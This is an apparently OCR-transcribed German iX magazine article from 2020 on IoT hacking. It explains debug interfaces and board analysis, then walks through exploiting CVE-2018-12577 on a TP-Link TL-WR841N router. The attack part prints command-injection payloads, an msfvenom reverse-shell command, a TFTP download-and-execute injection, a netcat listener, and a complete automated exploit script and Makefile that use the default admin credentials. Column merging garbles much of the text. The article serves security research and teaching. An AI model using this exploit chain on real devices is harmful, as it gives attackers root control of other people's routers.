OHNE GROßE UMWEGE ALEXANDER POTH, SEBASTIAN TRAHM - IOT-HACKING: EMBEDDED DEVICES ANGREIFEN
←
→
Transkription von Seiteninhalten
Wenn Ihr Browser die Seite nicht korrekt rendert, bitte, lesen Sie den Inhalt der Seite unten
Praxis | Industrielle IT Ü blicherweise meint der Begriff IoT IoT-Hacking: Embedded Devices angreifen (Internet of Things) die Vernetzung Ohne große eingebetteter Systeme, die ihre Logik und Anweisungen in Form von Firmware bei ihrer Herstellung oder Im- plementierung „eingepflanzt“ bekommen Umwege haben. Die Zahl dieser Geräte hat in den letzten Jahren enorm zugenommen – auch in der industriellen Fertigung und als zen- trale Komponenten kritischer Infrastruk- turen. Es ist davon auszugehen, dass sich diese Entwicklung in Zukunft noch stär- Alexander Poth, Sebastian Trahm ker fortsetzen wird. Dadurch sind diese Geräte gleicherma- ßen in den Fokus von Cyberkriminellen In dem Maße, in dem IoT-Geräte in den Fokus von Cyber und Sicherheitsforschern gerückt, deren kriminellen geraten, ziehen sie auch die Aufmerksamkeit von Analysen besonders die Angreifbarkeit der Systeme auf Hard- und Firmware- Sicherheitsforschern auf sich. Da ihre Analysen besonders der Ebene betrachten. Denn neben den nach Angreifbarkeit der Systeme auf Ebene der Hard- und Firmware außen exponierten Webanwendungen und Netzwerkdiensten der Embedded Devices gelten, soll damit die neue Serie zum Thema IoT-Hacking bietet vor allem deren Hardware völlig starten, die iX in loser Reihenfolge fortsetzt. neue Angriffs- und Analysemöglichkei- ten. Deshalb beschäftigt sich dieser erste Teil der neuen Artikelreihe zum IoT- Hacking mit Angriffen auf IoT Devices. 1-TRACT IoT-Geräte treten in einer Vielzahl von ⚫⚫ Da bei IoT-Geräten Firmware, Betriebssystem und Anwendungssoftware ver Anwendungsbereichen in Erscheinung, schmelzen und selten Updates erfahren, sind sie oft ein leichtes Ziel von Angreifern. etwa als digitale Wechselrichter und Zäh- ler in Stromnetzen, SPS (speicherpro ⚫⚫ Hardware- und Firmware-Assessments analysieren Komponenten auf Baugruppen- grammierbare Steuerungen) im SCADA- ebene, um die Angreifbarkeit auf physischer Ebene und von außen zu beurteilen. Bereich, als Überwachungskameras, ⚫⚫ Wie einfach es ist, sich vollen Zugriff mit root-Rechten auf ein IoT-Gerät Modems in Öl-Pipeline-Trassen, Mobil- zu verschaffen, zeigt der Artikel am Beispiel eines gängigen DSL-Routers. telefone, DSL-, Kabel- und Satelliten-Rou- ter, Home-Entertainment-Systeme, Steu- ⚫⚫ Der komplette Ablauf des Angriffs lässt sich auch mit wenig Aufwand erungs- und Entertainment-Systeme in automatisieren. Automobilen, Smart-Home-Systeme, di- gitale Rauch- und Feuermelder sowie 120 iX 5/2020
Wichtige Debug- und Wartungsschnittstellen I²C, JTAG, SPI und UART sind die wichtigsten Hardwareschnittstellen, ignale umfassen GND, VCC sowie TRST (Test Reset) und RST (System S die typischerweise im Rahmen eines Hardware-Assessments in Erschei- Reset). Die JTAG-Schnittstelle findet sich auf den meisten Mikrocon nung treten können und untersucht werden sollten, da sie wichtige troller-Boards und erlaubt, so sie aktiviert ist, einen direkten Zugriff auf zusätzliche Analyse- und Angriffsvektoren darstellen. Diese Auswahl die Hardware, sei es zum Debugging oder zum Umgehen von Sicher- häufig anzutreffender Schnittstellen erhebt jedoch keinen Anspruch heitsmaßnahmen. auf Vollständigkeit, da jedes Gerät spezifische weitere Schnittstellen beinhalten kann, die jedoch den Rahmen eines Überblicks sprengen würden. SPI Das SPI (Serial Peripheral Interface) ist eine getaktete, synchrone Über- tragungstechnik, meist als Bus, seltener als Stern implementiert. Moto- I²C rola hatte sie für eine schnelle Datenübertragung zwischen einem Mas- I²C (Inter-Integrated Circuit) ist ein von Philips entwickelter Bus zur ter und einem oder mehreren Slaves entwickelt. Für die Kommunikation Datenübertragung zwischen einem Mikrocontroller und einer oder verwendet sie vier Signale: MOSI (Master-Out, Slave-In), MISO (Mas- mehreren peripheren Komponenten. Je nach Durchsatzanforderungen ter-In, Slave-Out), SCK (Serial Clock) und SS (Slave Select). Die Initiie- kann sein Takt bei 100 oder 400 kHz, 1, 3,4 oder 5 MHz liegen. Die Be- rung der Kommunikation übernimmt auch hier der Master, etwa die zeichnung TWI (Two Wire Interface) wird aus lizenzrechtlichen Grün- CPU, der Slave, etwa der Speicherbaustein, antwortet. SPI wird aufgrund den oft analog verwendet. Für die Datenverbindung sind lediglich die dessen häufig zur Anbindung von peripheren Komponenten wie Flash- beiden Signale SDA (Serial Data) für die Datenübertragung und SCL Speicher verwendet, die einen hohen Durchsatz benötigen. (Serial Clock) für das Taktsignal des Masters notwendig. Die Daten- kommunikation initiiert typischerweise der Mikrocontroller als Bus- Master, der einen Slave, also die periphere Komponente, anspricht. Ein UART typischer Anwendungsfall bei IoT-Geräten ist der lesende oder schrei- UART (Universal Asynchronous Receiver Transmitter) definiert lediglich bende Zugriff der CPU auf Daten im EEPROM (Electrically Erasable eine elektronische Schaltung für eine serielle Schnittstelle und stellt eine Programmable Read-Only Memory). direkte Verbindung zwischen zwei Geräten zur Datenübertragung zur Verfügung. UART kennt weder ein externes Taktsignal noch eine Auf- teilung der Teilnehmer in Master- und Slave-Rolle wie bei I²C und SPI. JTAG Für die Datenverbindung sind die drei Pins TX zum Senden, RX zum JTAG (Joint Test Action Group) bezeichnet ein Interface, das primär für Empfangen und GND für die Masseleitung notwendig. Dennoch verfü- Boundary Scan Tests einzelner Komponenten und ganzer Platinen im gen die meisten Anschlüsse auf solchen Routern über einen weiteren Rahmen des Produktionsprozesses Verwendung findet. Die Kommuni- Anschluss VCC (Voltage at the Common Collector), der nicht zwingend kation benötigt im Wesentlichen die vier Signale TCK (Test Clock), TMS erforderlich ist, sich aber zum Bestimmen des vom Gerät verwendeten (Test Mode Select), TDI (Test Data In), TDO (Test Data Out). Weitere Spannungspegels nutzen lässt. Haushaltsgeräte und Unterhaltselektronik Die Sicherheitsanalyse von IoT-Gerä- ––Spannungsversorgung im Allgemeinen. ten oder eingebetteten Systemen teilt sich ––I/O Hardware- und Firmware-Assessments in mehrere Phasen ein und beginnt in der ––CPU- und Speicherbausteine umfassen die zielgerichtete Sicherheits- Regel mit einer „Open Source Intelli- ––Debug- respektive Wartungsschnittstellen analyse aller Komponenten auf Baugrup- gence“ (OSINT), also mit der Informa Eine Überprüfung der Netzwerkschnitt- penebene, um einerseits die Angreif tionsbeschaffung durch das Sammeln von stellen und -dienste dient der Identifikation barkeit auf physischer Ebene bewerten, öffentlich verfügbaren Informationen zum von schwachstellenbehafteter Software, andererseits zusätzliche Informationen für jeweiligen Gerät. Dazu zählen Geräteken- Konfigurationsfehlern mit Sicherheits Angriffsmöglichkeiten von außen gewin- nung, Gerätehersteller, Produktdatenblät- implikationen sowie Funkschnittstellen. nen zu können. Ein wichtiger Teilaspekt ter, Pressemeldungen, Firmware-Images, Die sich daran anschließenden Phasen hän- ist der direkte Zugriff auf die Firmware aber auch gegebenenfalls Informationen gen stark von diesen Ergebnissen ab, die des jeweiligen Gerätes, da ihre Analyse zu Vorgängermodellen, um einen ersten das weitere Vorgehen maßgeblich beein- oft hilfreiche Informationen über die Überblick zu gewinnen. flussen und Gegenstand nachfolgender Funktionsweise des Gerätes liefert. Darauf folgt die Analyse des PCB Artikel sein werden. (Printed Circuit Board), also der Platine Für die Analyse der Hardware stehen des Gerätes. In ihr identifiziert man die ein- zahlreiche Werkzeuge bereit. Dass es sich Analysephasen zelnen Funktionsblöcke und nimmt quasi dabei ausschließlich um spezielle und sehr eine Kartierung der Platine vor. Häufig lässt teure Tools handelt, ist ein Mythos. Sicher- Hierbei lassen sich oft schon das verwen- sie sich in folgende Areale unterteilen: heitsforscher verwenden viele einfache dete Betriebssystem, Softwarekompo- Werkzeuge, und selbst die spezifischen nenten, Schnittstellen und mögliche Zu- sind in den letzten Jahren erschwinglich gangsdaten identifizieren. Im Falle nicht geworden. Zu den wichtigsten Werkzeu- öffentlicher Firmware-Dateien, wie sie gen zählen: beispielsweise Hersteller mit dediziertem ––Messwerkzeuge wie einfache Multime- Update-Kanal verwenden, ist der direkte ter zum Bestimmen von Spannungswer- physische Zugriff das einzige Mittel, um ten an Bauteilen und zum Identifizieren an diese Informationen zu gelangen. Die Ergebnisse dieser tiefer gehenden Ana- Nach dem Öffnen des WLAN-Routers lyse ermöglichen es, entsprechende Ge- TP-Link TL-WR841ND v14.1 kommt die genmaßnahmen zum Schutz des gesam- Platine zum Vorschein. Die Funktionskom- ten Systems zu entwickeln. ponenten sind gelb eingerahmt (Abb. 1). iX 5/2020 121
Praxis | Industrielle IT fahrung zeigt, dass nur die wenigsten Ge- räte im unteren und mittleren Preissektor Maßnahmen wie Einwegschrauben be- inhalten, durch die Spuren eines Eingriffs ersichtlich sind. Auch beim TL-WR841ND hat der Hersteller keine derartigen Maß- nahmen getroffen. Mit Plektren ließen sich die Kunststoffnasen des Gehäuses zerstö- rungsfrei entriegeln. Nachdem die Platine des Gerätes frei zugänglich ist, folgt die Aufteilung in Funktionskomponenten. In Abbildung 1 sind die ad hoc identifizierbaren Kompo- nenten gelb eingerahmt und entsprechend Über das Webinterface des Routers lassen sich auf diesem die Befehle ping und beschriftet. Zu erkennen sind der Arbeits- traceroute starten. Allerdings prüft der Webserver vor dem Weiterreichen der Befehle speicher, die CPU, ein Speicherbaustein, und Argumente an die Shell nicht deren Inhalt oder deren Syntax (Abb. 2). der vermutlich die Firmware beinhaltet, sowie vier unbestückte Lötaugen. Letztere der Beschaltung einzelner Komponen- lichkeit und Nachvollziehbarkeit mit ei- sind wahrscheinlich zur Aufnahme einer ten, also der Pin-Belegung; nem Gerät aus dem Homeoffice. Die UART-Pfostenleiste (Universal Asynchro- ––hochauflösendes USB-Mikroskop; Analyse lässt sich genau so auf Industrial- nous Receiver Transmitter) für eine seri- ––Digitalkamera oder die Kamera eines IoT-Geräte anwenden, etwa auf industri- elle Schnittstelle vorbereitet, wie die Mobiltelefons mit Makrolinse zur Kar- elle Netzwerkkomponenten in Energiean- Pin-Beschriftungen VCC (Voltage at the tierung der Gesamtplatine sowie der de- lagen und Steuerungssystemen, zumal sie Common Collector), GND (Ground), RX taillierten bildlichen Erfassung der ein- technisch identisch oder sehr ähnlich sind. (Receive) und TX (Transmit) nahelegen. zelnen Komponenten; Der Schwerpunkt des hiesigen Hard- Die Spannungsversorgung daneben ist un- ––spezifische Messklemmen oder Test- warelabors liegt auf der Untersuchung von schwer am Eingangsstecker des Netzteils Clips für den direkten Zugriff auf die IoT- beziehungsweise Embedded-Syste- und dem darunter angeordneten großen IC-Kontakte (Integrated Circuits), um men vor ihrer Markteinführung. Häufig Kondensator zu erkennen. etwa die Daten der Firmware zu extra- beauftragen die Hersteller das Labor, eine hieren; umfassende Analyse vorzunehmen, die ––dedizierte Analyzer für die jeweiligen aufzeigen soll, ob diese Geräte Schwächen Viel Papierarbeit Protokolle wie UART, I2C, SPI oder aufweisen, die ein Angreifer ausnutzen JTAG der zu untersuchenden Kompo- kann. Daneben führt es auch regelmäßig Wichtige Hinweise für die Recherche lie- nenten; eigenmotivierte, unabhängige Analysen fert sehr häufig die Typenbezeichnung der ––Löt- oder Reflow-Workstation für Löt- durch, die auch etablierte Geräte umfas- jeweiligen Komponente. Beispielsweise tätigkeiten beziehungsweise das Extra- sen, die in neueren Varianten nach wie vor sind auf den meisten ICs (Integrated Cir- hieren von Bausteinen; erhältlich sind. cuits) der Herstellername sowie eine spe- ––Handwerkzeuge wie ein Elektronik- Im Rahmen dieser Untersuchungen zifische ID der jeweiligen Komponente ab- schraubendreherset zum Öffnen von kam der DSL-Router TL-WR841N N300 lesbar. Mit diesen Daten lassen sich fast Gehäuseschrauben, eine Auswahl an v14.1 von TP-Link auf den Prüfstand. Eine immer die zugehörigen Datenblätter finden. Pinzetten für SMD-Bauteile (Surface- kurze Recherche der öffentlich verfügba- In diesem Fall ist die Platine mit mounted Device) und Lupen; ren Informationen zu diesem Gerät ergab, dem SPI-Flash-Chip (Serial Peripheral ––zweckentfremdete Werkzeuge wie Plek- dass einige Vorgängermodelle schwerwie- Interface) GigaDevice 25Q32CSIG, dem tren aus dem Musikerbedarf zum Öffnen gende Sicherheitslücken aufwiesen. Das D-RAM-Chip Zentel A3S56D40GTP und der Plastiknasen bei den oft in Kunststoff warf die Frage auf, welche zwischenzeit- dem SoC Mediatek MT7628 bestückt. Der ausgeführten Gehäusen der Geräte. lich behoben oder in der aktuellen Version Router-on-a-Chip ist unter anderem mit noch vorhanden sind. einer 580 MHz schnellen MIPS-24K- Eine Analyse der Platine beginnt im- CPU, 128 oder 256 MByte DDR2-RAM, Eine Analyse aus dem Labor mer mit dem Öffnen des Gehäuses. Das einem 5-Port-Fast-Ethernet-Switch, WLAN liefert erste Erkenntnisse über dessen Ma- nach 802.11b/g/n, mit einem USB-2.0- Die folgende exemplarische Analyse be- nipulationssicherheit, etwa ob das Öffnen Host, einem PCIe-Root-Complex sowie schäftigt sich aus Gründen der Verständ- des Gehäuses Spuren hinterlässt. Die Er- den Storage-Schnittstellen SPI, SD-XC Der an den POST-Request-Para meter host=8.8.8.8 angehängte Befehl ping -c 5 192.168.0.100 soll zeigen, ob sich auf diese Weise noch immer Shell-Kommandos auf dem Router einschleusen lassen (Abb. 3). 122 iX 5/2020
Die fünf ICMP-Pakete vom Router mit der IP-Adresse 192.168.0.1 beweisen, dass das Einschleusen des zusätzlichen ping-Kommandos erfolgreich war (Abb. 4). Mit dem Metasploit-Framework MSFvenom lässt sich die geeignete Payload erzeugen, in diesem Fall eine Shell, die vom kompromitierten Router aus eine Verbindung zum Client des Testers aufbaut (Abb. 5). und eMMC ausgestattet. Für den I/O ste- greifer lediglich den gewünschten Befehl Drückt der Anwender auf Start, sen- hen außerdem die Schnittstellen I²C, I²S, mit Semikolon getrennt hinter eine gültige det der Webclient mehrere aufeinander- PCM, UART, JTAG und GPIO bereit Eingabe im Webinterface hängen, die der folgende HTTP-Requests an den Webser- (siehe Kasten „Wichtige Debug- und War- Webserver als HTTP-POST-Requests be- ver des DSL-Routers, bevor der den tungsschnittstellen“). Zur Verschlüsselung arbeitet, etwa ping-Befehl ausführt und das Ergebnis beherrscht der SoC WEP64/128, TKIP, zurückliefert. Von Interesse ist hier nur AES, WPA, WPA2 und WAPI. Als AP- host=127.0.0.1; reboot; der finale POST-Request. Zur Überprü- Firmware dient ein eCOS (Embedded Startet man den Befehl ping über das Web- fung der Schwachstelle wird an den ei- Configurable Operating System), ein Ech- interface, führt der Router nach dem Pin- gentlichen ping-Befehl ein weiterer ge- zeit-Linux-Derivat. gen des Hosts 127.0.0.1 einen Neustart hängt, der zusätzlich den eigenen Client Offen ist nun noch die Frage, ob die in des Systems durch (siehe Abbildung 2). mit der IP-Adresse 192.168.0.100 anpingt: der Vergangenheit publik gewordenen Ob diese bekannte Schwachstelle auch in Schwachstellen auch die aktuelle Version der aktuellen Router-Version 14.1 noch host=8.8.8.8; ping -c 5 192.168.0.100; des TP-Link TL-WR841N N300 WLAN existiert, ist als Erstes zu prüfen. Falls ja, betreffen. Gefunden wurde auf dem Rou- lässt sie sich nutzen, um auf die Shell des Die Option -c 5 veranlasst ping dazu, fünf ter TP-Link TL-WR841N in der Version Systems zu gelangen. Dann soll aber nicht ICMP-Pakete (Internet Control Message V13 (0.9.1 4.16 v0001.0 Build 180119 das Webinterface, sondern ein Webclient Protocol) an den Host mit der IP-Adresse Rel.65243n) im Juni 2018 die Schwach- für die Konsole zum Einsatz kommen, in 192.168.0.100 zu senden. Den kompletten stelle CVE-2018-12577 (Common Vulne- diesem Fall curl. POST-Request zeigt Abbildung 3. Dort ist rabilities and Exposures). Sie beschreibt der angehängte Befehl rot eingerahmt. eine Authenticated Blind Command Injec- Parallel hierzu wurde auf dem ange- tion mit der Risikobewertung „High“, die Und ewig grüßt pingten Client der Befehl es einem angemeldeten Benutzer erlaubt, die Schwachstelle tcpdump -ni eth1 -e icmp[icmptype]==8 direkt Code auf Systemebene zur Ausfüh- rung zu bringen (siehe auch ix.de/zd74). Den in der bekannten Schwachstelle be- gestartet, der die Netzwerkpakete mit- Dahinter stecken Fehler in der Einbin- schriebenen Einstiegspunkt findet man schneidet. Die Option -n verhindert, dass dung der Diagnosewerkzeuge ping und über den Menüpunkt „Diagnostic Tools“ tcpdump versucht, die IP-Adressen bei der traceroute in das Management-Interface, im Webinterface. Auf der Seite, auf die Ausgabe in Namen zu übersetzen, wäh- genauer gesagt in der Datenübergabe vom man gelangt, lassen sich die Werkzeuge rend -e tcpdump in jeder Dump-Zeile die Webserver, der die Daten aus dem Web- traceroute und ping steuern. Mit ihnen Informationen des Data-Link-Level- interface entgegennimmt, an den Kom- kann der Benutzer testen, ob die Netzwerk- Headers, darunter die MAC-Adressen, mandointerpreter. Der Webserver übergibt verbindung ins LAN respektive WAN steht. mit ausgeben lässt. Die Netzwerkschnitt- beliebigen Input vom Nutzer ohne weitere In Abbildung 2 ist 8.8.8.8 als IP-Adresse stelle, an der tcpdump den Netzwerkver- Prüfung an die Shell. Dazu muss der An- des Ping-Zielhosts angegeben. kehr mitschneiden soll, gibt die Option -i Der tcpdump- Mitschnitt zeigt: Der Router lädt die Datei wie durch den eingeschleus- ten Befehl ange- wiesen herunter (Abb. 6). iX 5/2020 123
Praxis | Industrielle IT Erste Gehversuche lässt sich die Payload mithilfe der be- auf der eingeschleusten kannten Command Injection auf den Router-Shell zeigen den Router übertragen: Dateisystembaum und die Benutzer. Nur der host=8.8.8.8; cd /var/tmp && tftp -g -l WR841ND_rev_shell 192.168.0.100&; uname-Befehl scheitert (Abb. 7). Führt die Shell auf dem Router diesen Be- fehl aus, wechselt sie ins Verzeichnis /var/ tmp, lädt im Hintergrund die Datei WR841ND_rev_shell per TFTP vom Host 192.168.0.100 herunter und speichert sie unter diesem Namen. Standardbefehle aus ei- Dem Opfer die ner BusyBox stammen, Initiative überlassen in die beim Kompilie- ren nur wenige Kom- Da ein TFTP-Client seine Anfragen stan- mandos eingebunden dardmäßig an den Port 69 richtet, schnei- wurden. Hilfreich ist in det der nächste tcpdump-Befehl den Daten- diesem Fall aber das verkehr auf diesem Port mit: eth1 vor. Der String icmp[icmptype]==8 be- integrierte TFTP-Kommando, mit dem tcpdump -vv -ni eth1 port 69 grenzt die Ausgabe auf ICMP-Pakete des sich die Payload hochladen lässt. TFTP Typs Echo Request. ist auf solchen Systemen häufig anzu Seine Ausgabe in Abbildung 6 zeigt, dass Die Ausgabe des Befehls zeigt Abbil- treffen, da Hersteller beispielsweise Ge- der Router den Download der Datei vor- dung 4. Dort finden sich die fünf ICMP-Pa- räte, deren Softwareupdate fehlgeschla- nimmt. kete, die vom Router mit der IP-Adresse gen ist oder die anderweitig korrupte Bevor der Tester die Reverse-Shell auf 192.168.0.1 stammen und den Client er- Zustände aufweisen, auf diesem Weg dem Router ausführen kann, muss er auf reicht haben. Das belegt, dass das einge- in einer Art Rettungsmodus wiederbe seinem Client noch einen Port öffnen, da- schleuste ping-Kommando erfolgreich leben können. mit die Payload eine Verbindung dorthin ausgeführt wurde. Ein passender TFTP-Server ist auf aufbauen kann. Zuvor hat er mit dem Be- dem eigenen Rechner schnell aufgesetzt fehl nc -lv 4444 einen netcat-Listener auf und die Datei WR841ND_rev_shell in Port 4444 des Clients gestartet, der die ein- Warum nicht eine dessen Wurzelverzeichnis kopiert. Nun gehende Anfrage des Routers entgegen- Reverse Shell hochladen? Listing 1: expl_wr841nd.sh Nachdem der Test gezeigt hat, dass sich auf diese Weise Befehle auf der Router- #!/bin/bash Shell ausführen lassen, besteht das nächste if [ "$#" -ne 2 ]; then Ziel darin, direkten Zugriff auf die Shell echo "Usage: ./exec.sh 'user' 'pass'" und damit vollen Zugang zum System zu exit 1 erlangen. fi Zum Einsatz kommt dazu der Einfach- USER=$1 heit halber das Framework MSFvenom PASS=$2 des Metasploit-Projekts, das die Werk- AUTH=$(echo -ne "$USER:$PASS" | base64) BINARY1=$'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\x0d\x0adataBlockSize=64\x0d\x0atimeout=1\x0d\ zeuge Msfpayload and Msfencode kom- x0anumberOfRepetitions=1\x0d\x0ahost=127.0.0.1;' biniert. Mit ihm lassen sich Payloads für BINARY2=$';\x0d\x0aX_TP_ConnName=ewan_ipoe_d\x0d\x0adiagnosticsState=Requested\x0d\x0a' unterschiedliche Architekturen erzeugen. injectCommand () In diesem Fall soll der Befehl { curl -i -s -k -X 'POST' \ msfvenom -p linux/mipsle/shell_reverse_tcp -H $'Referer: http://192.168.0.1/mainFrame.htm' \ CDM=/bin/ash LHOST=192.168.0.100 LPORT=4444 -f -H "Cookie: Authorization=Basic $AUTH" \ elf > WR841ND_rev_shell -b $'Authorization=Basic YWRtaW46YWRtaW4=' \ --data-binary "$BINARY1$1$BINARY2" \ die Payload shell_reverse_tcp erzeugen, $'http://192.168.0.1/cgi?2' die sich, einmal auf dem Zielsystem in curl -i -s -k -X 'POST' \ stalliert, mit dem Client mit der IP-Adres- -H $'Referer: http://192.168.0.1/mainFrame.htm' \ se 192.168.0.100 auf Port 4444 verbindet -H "Cookie: Authorization=Basic $AUTH" \ (siehe Abbildung 5). Das Binary im -b $'Authorization=Basic YWRtaW46YWRtaW4=' \ --data-binary $'[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' \ ELF-Format soll msfvenom in die Datei $'http://192.168.0.1/cgi?7' WR841ND_rev_shell schreiben. } Zuvor hatte es die Extraktion des Inhalts # download reverse shell via tftp to target and launch it des Firmware-Chips ermöglicht, die we- injectCommand '`cd /var/tmp && tftp -g -l wr841nd_rev_shell 192.168.0.100&`' sentlichen Teile des Dateisystems zu ent- injectCommand '`chmod a+x /var/tmp/wr841nd_rev_shell`' packen. Dabei zeigte sich, dass Shell und injectCommand '`/var/tmp/wr841nd_rev_shell&`' 124 iX 5/2020
nehmen kann. Nun kommt wieder die Command Injection zum Einsatz, die den Payload-Ausführungsbefehl auf den Rou- ter überträgt: host=8.8.8.8; `/var/tmp/WR841ND_rev_shell`; Sobald netcat die eingehende Anfrage be- antwortet und eine Verbindung etabliert, zeigt es das auf der Konsole, auf der es ge- startet wurde, mit connect to... an (siehe Der Befehl make clean run_exploit arbeitet die einzelnen Sektionen des Makefile ab. Abbildung 7). Ein erster Befehl ls -la / Am Ende steht der Aufruf des Bash-Skripts expl_wr841nd.sh, das die eigentliche listet die oberste Ebene des Dateisystem- Kompromittierung des Zielsystems übernimmt (Abb. 8). baums in der Detailansicht auf. cat /etc/ passwd gibt die drei Standardbenutzer des Routers admin, dropbear und nobody aus. Hingegen ist der Befehl uname nicht ver- fügbar. Die entsprechenden Systeminfor- mationen sollten aber im proc-Dateisys- tem mit cat /proc/version zu finden sein. Die weiteren Gehversuche zeigen, dass auch Befehle wie id und touch nicht zur Verfügung stehen, mit denen man mehr über den verwendeten Account erfährt. Behelfen kann man sich mit echo: Man schreibt mit echo 'AAAAAAA' > /var/tmp/ foobar beliebige Zeichen in eine Datei und lässt sich im Dateisystem mit ls- l deren Besitzer und Gruppe anzeigen. Auch der automatisierte Angriff war erfolgreich und gewährte dem Tester freien Zugriff Weitere Informationen gibt ps ax preis, mit root-Rechten auf das System (Abb. 9). das die im System laufenden Prozesse und ihre Besitzer auflistet. In diesem Fall ge- Shell-Payload und den Aufruf des öffnet hat, baut der Router auch nach die- hören sie alle admin und laufen mit Bash-Skripts (siehe Listing 2). sem automatisierten Angriff die Verbin- root-Rechten. In Abbildung 8 arbeitet make die Sek dung auf und ermöglicht dem Tester so tionen clean, gen_payload und run_exploit root-Rechte und damit unbeschränkten Zu- des Makefile ab. Dabei entsorgt es erst alte gang zum System (siehe Abbildung 9). Den Angriff Payloads, generiert frische, überträgt sie automatisieren auf das Zielsystem und führt sie dort aus. Erst im letzten Schritt kommt dabei das Ausblick Alles, was bisher in Einzelschritten bis Bash-Skript expl_wr841nd.sh zum Ein- zum Ausführen der Reverse-Shell voll- satz, das die Payload überträgt, vorberei- Der nächste Artikel der losen Reihe zum bracht wurde, lässt sich auch automatisie- tet und ausführt. IIoT-Hacking widmet sich der näheren Un- ren. Auf diese Weise kann man das Aus- Nachdem auf dem Client des Testers tersuchung eines Flash-Speichers. Mithilfe nutzen der Schwachstelle effektiver und der Befehl nc -lv 4444 den Port 4444 ge- des Datenblatts, das Auskunft über das reproduzierbar gestalten. verwendete Kommunikationsprotokoll Die zuvor identifizierten relevanten Listing 2: Makefile gibt, sollen mit einfachen Werkzeugen Da- Schritte umfassen hierbei ten direkt aus dem Flash-Chip ausgelesen ––das Erstellen der Reverse-Shell-Payload, #!/bin/bash werden. (sun@ix.de) ––das Kopieren der Reverse-Shell-Payload MSFVENOM=/usr/bin/msfvenom in das Wurzelverzeichnis des TFTP-Ser- SH_BINARY=wr841nd_rev_shell Quellen vers, SH_CMD=/bin/sh Weitere Informationen zur Schwachstelle ––den Download der Reverse-Shell-Pay- SH_LHOST=192.168.0.100 SH_LPORT=4444 CVE-2018-12577 über ix.de/zd74 load auf den Router per Command In- SH_PAYLOAD=linux/mipsle/shell_reverse_tcp jection und TFTP ––und das Ausführen der Reverse-Shell- CLEANFILES=$(SH_BINARY) Alexander Poth Payload, die die Verbindung zum netcat- all: run_exploit ist in der IT-Security-Branche tätig. Listener aufbaut. Zu seinen Schwerpunkten zählt die Dazu fasst man die notwendigen Requests gen_payload: Firmware-Schwachstellenanalyse. innerhalb eines Bash-Skripts expl_ @echo "Generating payload ..." $(MSFVENOM) -p $(SH_PAYLOAD) \ wr841nd.sh in einer Funktion InjectCommand CMD=$(SH_CMD)\ Sebastian Trahm zusammen, die dann entsprechend para- LHOST=$(SH_LHOST) \ ist in der IT-Security-Branche tätig, davon metriert die einzelnen Kommandos zum LPORT=$(SH_LPORT) \ -f elf > $(SH_BINARY) mehrere Jahre als Softwareentwickler Herunterladen und Ausführen der Revers- von Firewall-Systemen, als Network Shell aufruft (siehe Lising 1). Ein Make- run_exploit: gen_payload Management Systems Specialist, System- file übernimmt das Erstellen der Reverse- @echo "Running exploit ..." cp $(SH_BINARY) /srv/tftp/ administrator und Release Engineer. ./expl_wr841nd.sh admin admin iX 5/2020 125 clean: rm -rf $(CLEANFILES)
Sie können auch lesen